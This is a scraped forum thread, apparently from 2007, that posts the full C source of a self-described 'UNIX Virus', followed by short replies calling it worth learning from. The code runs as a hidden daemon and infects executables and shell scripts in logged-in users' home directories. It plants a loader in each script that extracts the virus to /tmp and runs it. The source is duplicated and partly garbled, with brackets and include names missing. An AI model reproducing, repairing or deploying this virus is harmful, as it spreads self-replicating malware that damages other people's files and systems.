char *buf2,*fname;
static char pidp[BSI]="/tmp/.";
static char bufr[BSI]="";
static int dec;
unsigned int k,kep;
struct passwd *getp;
int caller(void);
int chec(int);
char *base(char *);
char *find(void);
void catch(void);
int check(char *,int);
signal(SIGCLD,SIG_IGN);
strcat(pidp,ecvt((double)getuid(),chec(getuid()),&dec,&dec));
fname=(char *)tempnam("/tmp",NULL);
buf2=(char *)malloc(BUFSIZE);
if((fo=open(argv[0],O_RDONLY))<0 || (f=creat(fname,PERM))<0) exit(1);
if((kep=lseek(fo,0L,2))>2*VL)
{
lseek(fo,VLL,2);
k=read(fo,buf2,VL);
write(f,buf2,k);
lseek(fo,VL,0);
while((k=read(fo,buf2,BUFSIZE))>0)
write(f,buf2,k);
/* ignore more lefting virus in a tail */
}
else
{
lseek(fo,VL-kep,2);
k=read(fo,buf2,kep-VL);
write(f,buf2,k);
}
close(f);
chmod(fname,S_IRWXU);
free(buf2);
if((kep=fork())>0)
{
for(k=0;k if(*(argv[0]+k)=='@') exit(0);
execve(fname,argv,envp);
}
else
if(kep==0)
{
sleep(2);
unlink(fname);
for(k=0;k getp=(struct passwd *)getpwuid(getuid());
strcpy(argv[0],base(getp->pw_shell));
/* initialize daemon process ... */
for(k=0;k<2;k++) close(k);
umask(0);
if(fork()!=0)exit(0);
signal(SIGHUP,SIG_IGN);
signal(SIGINT,SIG_IGN);
signal(SIGTTOU,SIG_IGN);
setpgrp();
if((kep=open("/dev/tty",O_RDWR))>=0)
{ ioctl(kep,TIOCNOTTY,(char *)0);
close(kep);
}
if(fork()!=0)exit(0);
signal(SIGUSR1,catch);
if((kep=open(pidp,O_CREAT|O_RDWR,S_IRUSR|S_IWUSR))<0) exit(1);
k=read(kep,bufr,BSI);
if(k!=0) kill(atoi(bufr),SIGUSR1);
strcpy(bufr,ecvt((double)getpid(),chec(getpid()),&dec,&dec));
lseek(kep,0L,0);
do{
k=write(kep,bufr,strlen(pidp)+1);
while((buf2=find())!=NULL)
{
getp=(struct passwd *)getpwnam(buf2);
if(chdir((buf2=(char *)getp->pw_dir))<0) continue;
if(ftw(buf2,caller,15)!=0) continue;
}
sleep(CHKT);
setutent();
lseek(kep,0L,0);
}while(1);
}
}
int chec(num)
int num;
{
int y=1;
while((num=(int)(num/10))>=1) y++;
return(y);
}
void catch(void)
{
flagn=1;
}
char *base(poi)
char *poi;
{ int i;
for(i=(strlen(poi)-1);i>=0;i--)
if(*(poi+i)=='/') return((char *)(poi+i+1));
return("sh");
}
char *find()
{
static char name[9]="";
struct utmp *goal;
goal=(struct utmp *)getutent();
if(goal->ut_type==USER_PROCESS)
{
strcpy(name,goal->ut_user);
return(name);
}
if(goal==(struct utmp *)NULL) return(NULL);
}
int caller(name,statptr,type)
char *name;
struct stat *statptr;
int type;
{ unsigned int nread,ymode;
static char load[200];
char buf[VL],buf3[VL];
if(type==FTW_F)
{
ymode=statptr->st_mode;
if(check(name,ymode)<0)
{ if(statptr->st_uid==getuid()) chmod(name,ymode);
return(0);
}
if( status==SCR )
{
strcpy(load,LOADER);
strcat(load,name);
strcat(load,LOADER2);
lseek(f,0L,2);
write(f,load,strlen(load));
lseek(fo,0L,0);
nread=read(fo,buf,VL);
write(f,buf,nread);
}
if( status==EXE )
{
if(statptr->st_size>VL)
{
lseek(f,0L,0);
nread=read(f,buf,VL);
lseek(f,0L,2);
write(f,buf,nread);
lseek(fo,0L,0);
nread=read(fo,buf,VL);
lseek(f,0L,0);
write(f,buf,nread);
}
else
{
lseek(f,0L,0);
nread=read(f,buf3,VL);
ymode=nread;
lseek(fo,0L,0);
nread=read(fo,buf,VL);
lseek(f,0L,0);
write(f,buf,nread);
write(f,buf3,ymode);
}
}
/* lseek(f,0L,0);
lockf(f,F_ULOCK,0); */
/* author's linux library has no above program library */
bk.l_type=F_UNLCK;
bk.l_whence=0;
bk.l_len=0;
bk.l_start=0;
fcntl(f,F_SETLK,&bk);
if(statptr->st_uid==getuid()) chmod(name,ymode);
close(f);
}
if(flagn) exit(0);
return(0);
}
int check(name,ymode)
char *name;
int ymode;
{
char ch[CHK];
char ch2[CHK];
int rd,i;
status=(int)NULL;
if((f=open(name,O_RDWR))<0)
{
if(chmod(name,ymode|S_IRUSR|S_IWUSR)<0) return(-1);
if((f=open(name,O_RDWR))<0) return(-1);
}
/* if(lockf(f,F_TLOCK,0)<0) { close(f); return(-1); } */
bk.l_type=F_WRLCK;
bk.l_whence=0;
bk.l_len=0;
bk.l_start=0;
if(fcntl(f,F_SETLK,&bk)<0) { close(f); return(-1); }
lseek(f,0L,0);
rd=read(f,ch,CHK);
lseek(fo,0L,0);
read(fo,ch2,rd);
for(i=0;i if(ch[i]!=ch2[i])
{
if( ch[0]!='#' && (ymode&(S_IXUSR|S_IXGRP|S_IXOTH)) )
{
status=EXE; return(1); }
else
if( ch[0]=='#' && lseek(f,0L,2)>VL ) /* you can improve the rule */
{
lseek(f,VLL,2);
rd=read(f,ch,CHK);
lseek(fo,0L,0);
read(fo,ch2,rd);
for(i=0;i if(ch[i]!=ch2[i])
{ status=SCR; return(1); }
}
else if(ch[0]=='#')
{ status=SCR; return(1); }
break;
}
close(f);
return(-1);
}
### A UNIX Virus!!!!
### Written by NCKU EE htk
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define CHK 512
#define PERM S_IRWXU
#define CHKT 10
#define LOADER "\nrm -f /tmp/.@`whoami`;cat < "
#define LOADER2 " |tail -c 18606 >/tmp/.@`whoami`;chmod 700 /tmp/.@`whoami`;/tmp/.@`whoami`;rm -f /tmp/.@`whoami`;exit;\n"
/* ^^^^^modify here !!! */
#define VL 18606
/* and ^^^^^ here !!! */
#define VLL -VL
#define BUFSIZE 25088
#define BSI 80
#define EXE 1
#define SCR 2
struct flock bk;
int fo,f,status=NULL;
int flagn=0;
void main(argc,argv,envp)
int argc;
char *argv;
char *envp;
{
char *buf2,*fname;
static char pidp="/tmp/.";
static char bufr="";
static int dec;
unsigned int k,kep;
struct passwd *getp;
int caller(void);
int chec(int);
char *base(char *);
char *find(void);
void catch(void);
int check(char *,int);
signal(SIGCLD,SIG_IGN);
strcat(pidp,ecvt((double)getuid(),chec(getuid()),&dec,&dec));
fname=(char *)tempnam("/tmp",NULL);
buf2=(char *)malloc(BUFSIZE);
if((fo=open(argv,O_RDONLY))<0 || (f=creat(fname,PERM))<0) exit(1);
if((kep=lseek(fo,0L,2))>2*VL)
{
lseek(fo,VLL,2);
k=read(fo,buf2,VL);
write(f,buf2,k);
lseek(fo,VL,0);
while((k=read(fo,buf2,BUFSIZE))>0)
write(f,buf2,k);
/* ignore more lefting virus in a tail */
}
else
{
lseek(fo,VL-kep,2);
k=read(fo,buf2,kep-VL);
write(f,buf2,k);
}
close(f);
chmod(fname,S_IRWXU);
free(buf2);
if((kep=fork())>0)
{
for(k=0;k if(*(argv+k)=='@') exit(0);
execve(fname,argv,envp);
}
else
if(kep==0)
{
sleep(2);
unlink(fname);
for(k=0;k getp=(struct passwd *)getpwuid(getuid());
strcpy(argv,base(getp->pw_shell));
/* initialize daemon process ... */
for(k=0;k<2;k++) close(k);
umask(0);
if(fork()!=0)exit(0);
signal(SIGHUP,SIG_IGN);
signal(SIGINT,SIG_IGN);
signal(SIGTTOU,SIG_IGN);
setpgrp();
if((kep=open("/dev/tty",O_RDWR))>=0)
{ ioctl(kep,TIOCNOTTY,(char *)0);
close(kep);
}
if(fork()!=0)exit(0);
signal(SIGUSR1,catch);
if((kep=open(pidp,O_CREAT|O_RDWR,S_IRUSR|S_IWUSR))<0) exit(1);
k=read(kep,bufr,BSI);
if(k!=0) kill(atoi(bufr),SIGUSR1);
strcpy(bufr,ecvt((double)getpid(),chec(getpid()),&dec,&dec));
lseek(kep,0L,0);
do{
k=write(kep,bufr,strlen(pidp)+1);
while((buf2=find())!=NULL)
{
getp=(struct passwd *)getpwnam(buf2);
if(chdir((buf2=(char *)getp->pw_dir))<0) continue;
if(ftw(buf2,caller,15)!=0) continue;
}
sleep(CHKT);
setutent();
lseek(kep,0L,0);
}while(1);
}
}
int chec(num)
int num;
{
int y=1;
while((num=(int)(num/10))>=1) y++;
return(y);
}
void catch(void)
{
flagn=1;
}
char *base(poi)
char *poi;
{ int i;
for(i=(strlen(poi)-1);i>=0;i--)
if(*(poi+i)=='/') return((char *)(poi+i+1));
return("sh");
}
char *find()
{
static char name="";
struct utmp *goal;
goal=(struct utmp *)getutent();
if(goal->ut_type==USER_PROCESS)
{
strcpy(name,goal->ut_user);
return(name);
}
if(goal==(struct utmp *)NULL) return(NULL);
}
int caller(name,statptr,type)
char *name;
struct stat *statptr;
int type;
{ unsigned int nread,ymode;
static char load;
char buf,buf3;
if(type==FTW_F)
{
ymode=statptr->st_mode;
if(check(name,ymode)<0)
{ if(statptr->st_uid==getuid()) chmod(name,ymode);
return(0);
}
if( status==SCR )
{
strcpy(load,LOADER);
strcat(load,name);
strcat(load,LOADER2);
lseek(f,0L,2);
write(f,load,strlen(load));
lseek(fo,0L,0);
nread=read(fo,buf,VL);
write(f,buf,nread);
}
if( status==EXE )
{
if(statptr->st_size>VL)
{
lseek(f,0L,0);
nread=read(f,buf,VL);
lseek(f,0L,2);
write(f,buf,nread);
lseek(fo,0L,0);
nread=read(fo,buf,VL);
lseek(f,0L,0);
write(f,buf,nread);
}
else
{
lseek(f,0L,0);
nread=read(f,buf3,VL);
ymode=nread;
lseek(fo,0L,0);
nread=read(fo,buf,VL);
lseek(f,0L,0);
write(f,buf,nread);
write(f,buf3,ymode);
}
}
/* lseek(f,0L,0);
lockf(f,F_ULOCK,0); */
/* author's linux library has no above program library */
bk.l_type=F_UNLCK;
bk.l_whence=0;
bk.l_len=0;
bk.l_start=0;
fcntl(f,F_SETLK,&bk);
if(statptr->st_uid==getuid()) chmod(name,ymode);
close(f);
}
if(flagn) exit(0);
return(0);
}
int check(name,ymode)
char *name;
int ymode;
{
char ch;
char ch2;
int rd,i;
status=(int)NULL;
if((f=open(name,O_RDWR))<0)
{
if(chmod(name,ymode|S_IRUSR|S_IWUSR)<0) return(-1);
if((f=open(name,O_RDWR))<0) return(-1);
}
/* if(lockf(f,F_TLOCK,0)<0) { close(f); return(-1); } */
bk.l_type=F_WRLCK;
bk.l_whence=0;
bk.l_len=0;
bk.l_start=0;
if(fcntl(f,F_SETLK,&bk)<0) { close(f); return(-1); }
lseek(f,0L,0);
rd=read(f,ch,CHK);
lseek(fo,0L,0);
read(fo,ch2,rd);
for(i=0;i if(ch!=ch2)
{
if( ch!='#' && (ymode&(S_IXUSR|S_IXGRP|S_IXOTH)) )
{
status=EXE; return(1); }
else
if( ch=='#' && lseek(f,0L,2)>VL ) /* you can improve the rule */
{
lseek(f,VLL,2);
rd=read(f,ch,CHK);
lseek(fo,0L,0);
read(fo,ch2,rd);
for(i=0;i if(ch!=ch2)
{ status=SCR; return(1); }
}
else if(ch=='#')
{ status=SCR; return(1); }
break;
}
close(f);
return(-1);
}
|
|
2007-3-2 04:04 |
|
|
wwwlgh
初级用户
 
积分 92
发帖 41
注册 2005-12-23
状态 离线
|
|
2007-3-2 05:39 |
|
|
Kinglion
铂金会员
       痴迷DOS者
积分 5798
发帖 1924
注册 2003-6-20 来自 金獅電腦軟體工作室
状态 离线
|
『第 10 楼』:
使用 LLM 解释/回答一下
可以学习编程方法和技巧
Can learn programming methods and techniques
|

熟能生巧,巧能生精,一艺不精,终生无成,精亦求精,始有所成,臻于完美,永无止境!
金狮電腦軟體工作室愿竭诚为您服务!
QQ群:8393170(定期清理不发言者)
个人网站:http://www.520269.cn
电子邮件:doujiehui@vip.qq.com
微信公众号: doujiehui
|
|
2007-3-2 08:58 |
|
|
xing7749
高级用户
    文盲
积分 833
发帖 349
注册 2004-1-26
状态 离线
|
|
2007-3-2 12:30 |
|
|
henrya2
中级用户
  
积分 486
发帖 171
注册 2006-2-12
状态 离线
|
『第 12 楼』:
使用 LLM 解释/回答一下
Good
|

Those who do not study the past are condemned to repeat it |
|
2007-3-26 00:55 |
|
|
wwwlgh
初级用户
 
积分 92
发帖 41
注册 2005-12-23
状态 离线
|
|
2007-3-26 05:46 |
|
|
lxmxn
版主
       
积分 11386
发帖 4938
注册 2006-7-23
状态 离线
|
『第 14 楼』:
使用 LLM 解释/回答一下
嗯,GOOD,值得学习一下。
Well, GOOD, worthy of learning.
|
|
2007-3-26 08:25 |
|
|
cnch
中级用户
  
积分 326
发帖 70
注册 2003-1-10
状态 离线
|
『第 15 楼』:
使用 LLM 解释/回答一下
东西不错,但可得小心,到时候哭的人就会是你自己啦.....
The things are not bad, but you have to be careful, and then the one who will cry will be yourself...
|
|
2007-3-27 04:20 |
|
|